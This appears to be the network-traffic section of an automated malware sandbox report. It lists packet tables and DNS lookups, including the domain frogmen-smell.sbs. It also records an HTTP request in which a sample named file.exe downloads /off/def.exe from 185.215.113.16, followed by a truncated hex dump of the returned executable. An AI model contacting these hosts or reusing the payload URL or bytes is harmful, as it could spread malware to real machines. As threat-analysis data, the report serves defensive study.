Nov 15, 2024 19:40:06.318670034 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.318818092 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.332591057 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.332603931 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.332623005 CET	50096	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.332628012 CET	443	50096	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.349695921 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.349724054 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.349812031 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.350039959 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.350055933 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.363782883 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363816023 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363826036 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363838911 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363883018 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363918066 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.363940954 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.363960028 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.363986969 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.365057945 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.365094900 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.365129948 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.365137100 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.365170002 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.365664005 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.365720034 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.367275953 CET	50094	443	192.168.2.7	172.202.163.200
Nov 15, 2024 19:40:06.367291927 CET	443	50094	172.202.163.200	192.168.2.7
Nov 15, 2024 19:40:06.955379009 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.956104040 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.956136942 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.956370115 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.956475973 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.956484079 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.956752062 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.956770897 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.957096100 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.957101107 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.957484007 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.957750082 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.957758904 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.958071947 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.958079100 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.960983992 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.961272955 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.961281061 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:06.961601973 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:06.961606979 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.085784912 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.086451054 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.086497068 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.086623907 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.086623907 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.086673975 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.086673975 CET	50102	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.086697102 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.086711884 CET	443	50102	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.086966038 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.087233067 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.087296963 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.087474108 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.087491035 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.087522984 CET	50101	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.087528944 CET	443	50101	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.089709997 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.089737892 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.089847088 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.089965105 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.089973927 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.090009928 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.090106010 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.090183973 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.090392113 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.090423107 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.090732098 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.090786934 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.090945005 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.090996027 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.091002941 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.091017962 CET	50100	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.091023922 CET	443	50100	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.093508959 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.094921112 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.094989061 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.095036030 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.095043898 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.095056057 CET	50103	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.095060110 CET	443	50103	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.101147890 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.101608038 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.101618052 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.102065086 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.102070093 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.229841948 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.229979038 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.230071068 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.230293989 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.230308056 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.230318069 CET	50104	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.230324030 CET	443	50104	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.828988075 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.829725981 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.829816103 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.830032110 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.830049038 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.860579014 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.861160040 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.861182928 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.861553907 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.861560106 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.973654032 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.973745108 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.973978996 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.974075079 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.974123955 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.974158049 CET	50107	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.974175930 CET	443	50107	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.997728109 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.997996092 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.998081923 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.998256922 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.998270988 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:07.998281956 CET	50106	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:40:07.998286009 CET	443	50106	13.107.246.45	192.168.2.7
Nov 15, 2024 19:40:48.899544001 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:48.899579048 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:48.899657011 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:48.899950027 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:48.899960995 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:49.778765917 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:49.779247046 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:49.779289961 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:49.779616117 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:49.780008078 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:49.780073881 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:49.833039999 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:40:59.767282963 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:59.767363071 CET	443	50111	142.250.186.132	192.168.2.7
Nov 15, 2024 19:40:59.767453909 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:41:00.773257017 CET	50111	443	192.168.2.7	142.250.186.132
Nov 15, 2024 19:41:00.773291111 CET	443	50111	142.250.186.132	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 19:39:14.100733995 CET	57740	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:14.140393972 CET	53	57740	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:15.287695885 CET	123	123	192.168.2.7	20.101.57.9
Nov 15, 2024 19:39:16.015654087 CET	123	123	20.101.57.9	192.168.2.7
Nov 15, 2024 19:39:44.392203093 CET	53	65029	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:44.482286930 CET	53	58595	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:45.753258944 CET	53	54176	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:48.505661964 CET	60118	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:48.505888939 CET	62644	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:48.848812103 CET	52051	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:48.849004984 CET	62072	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:48.855535984 CET	53	52051	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:48.856048107 CET	53	62072	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:49.807506084 CET	58622	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:49.807507038 CET	62121	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:54.146166086 CET	53	52854	1.1.1.1	192.168.2.7
Nov 15, 2024 19:39:54.869245052 CET	54567	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:39:54.869422913 CET	53642	53	192.168.2.7	1.1.1.1
Nov 15, 2024 19:40:02.856991053 CET	53	56619	1.1.1.1	192.168.2.7
Nov 15, 2024 19:40:09.482199907 CET	138	138	192.168.2.7	192.168.2.255
Nov 15, 2024 19:40:21.967277050 CET	53	62944	1.1.1.1	192.168.2.7
Nov 15, 2024 19:40:44.081418037 CET	53	60198	1.1.1.1	192.168.2.7
Nov 15, 2024 19:40:44.687470913 CET	53	59544	1.1.1.1	192.168.2.7
Nov 15, 2024 19:41:12.334140062 CET	53	55675	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 15, 2024 19:39:45.634016037 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Nov 15, 2024 19:39:50.961102009 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 19:39:14.100733995 CET	192.168.2.7	1.1.1.1	0x3b65	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.505661964 CET	192.168.2.7	1.1.1.1	0xbc62	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.505888939 CET	192.168.2.7	1.1.1.1	0x3602	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 19:39:48.848812103 CET	192.168.2.7	1.1.1.1	0x775c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.849004984 CET	192.168.2.7	1.1.1.1	0xc297	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 15, 2024 19:39:49.807506084 CET	192.168.2.7	1.1.1.1	0xa63e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:49.807507038 CET	192.168.2.7	1.1.1.1	0x8b9a	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 15, 2024 19:39:54.869245052 CET	192.168.2.7	1.1.1.1	0x8575	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:54.869422913 CET	192.168.2.7	1.1.1.1	0x8a28	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 15, 2024 19:39:14.140393972 CET	1.1.1.1	192.168.2.7	0x3b65	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:14.140393972 CET	1.1.1.1	192.168.2.7	0x3b65	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.511122942 CET	1.1.1.1	192.168.2.7	0xa645	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512072086 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512072086 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512072086 CET	1.1.1.1	192.168.2.7	0xcf00	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512671947 CET	1.1.1.1	192.168.2.7	0xbc62	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512671947 CET	1.1.1.1	192.168.2.7	0xbc62	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512671947 CET	1.1.1.1	192.168.2.7	0xbc62	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.512671947 CET	1.1.1.1	192.168.2.7	0xbc62	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.513058901 CET	1.1.1.1	192.168.2.7	0x3602	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.513058901 CET	1.1.1.1	192.168.2.7	0x3602	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:48.855535984 CET	1.1.1.1	192.168.2.7	0x775c	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:48.856048107 CET	1.1.1.1	192.168.2.7	0xc297	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 15, 2024 19:39:49.650427103 CET	1.1.1.1	192.168.2.7	0xe725	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.650427103 CET	1.1.1.1	192.168.2.7	0xe725	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.650427103 CET	1.1.1.1	192.168.2.7	0xe725	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:49.650788069 CET	1.1.1.1	192.168.2.7	0x696	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.814990044 CET	1.1.1.1	192.168.2.7	0xa63e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.814990044 CET	1.1.1.1	192.168.2.7	0xa63e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.814990044 CET	1.1.1.1	192.168.2.7	0xa63e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.814990044 CET	1.1.1.1	192.168.2.7	0xa63e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 15, 2024 19:39:49.815294027 CET	1.1.1.1	192.168.2.7	0x8b9a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:49.815294027 CET	1.1.1.1	192.168.2.7	0x8b9a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:54.876522064 CET	1.1.1.1	192.168.2.7	0x8a28	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:54.877995968 CET	1.1.1.1	192.168.2.7	0x8575	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:57.723196983 CET	1.1.1.1	192.168.2.7	0x253f	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:39:57.736011982 CET	1.1.1.1	192.168.2.7	0x7dc4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:40:02.536382914 CET	1.1.1.1	192.168.2.7	0x3f2b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 15, 2024 19:40:02.550430059 CET	1.1.1.1	192.168.2.7	0xc3a9	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

frogmen-smell.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49802	185.215.113.16	80	7160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 19:39:32.323503017 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 15, 2024 19:39:33.258318901 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: application/octet-stream Content-Length: 2791936 Last-Modified: Fri, 15 Nov 2024 18:13:16 GMT Connection: keep-alive ETag: "67378f3c-2a9a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 02 9e 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+`Ui` @ @.rsrc`2@.idata 8@ktllgqrx@::@apvulbhf t@.taggant@+"x@
Nov 15, 2024 19:39:33.258342028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258352995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258408070 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258419991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258488894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258500099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258578062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 19:39:33.258589983 CET	1236	IN	Data Raw: eb 2d 27 10 54 af 40 45 44 46 56 10 11 79 45 20 de b5 62 a2 c6 a7 92 6d 00 46 c2 27 9f 84 3d 60 34 1a 66 f2 13 53 b3 2e e5 b8 32 4e 2d 55 3e 29 ef 39 1b 8d 49 98 75 7b 9c 83 9b b2 31 ed 15 7d 52 81 98 3a af 1c c4 f7 a1 a4 61 48 d9 03 85 f2 40 53 Data Ascii: -'T@EDFVyE bmF'=`4fS.2N-U>)9Iu{1}R:aH@SX[ >RTt]UsNgSlVzlRaK,2@H3vR79XH$\@CRtVTBoGECCyU` Q4fmzR,wxDGP$Lo`FK
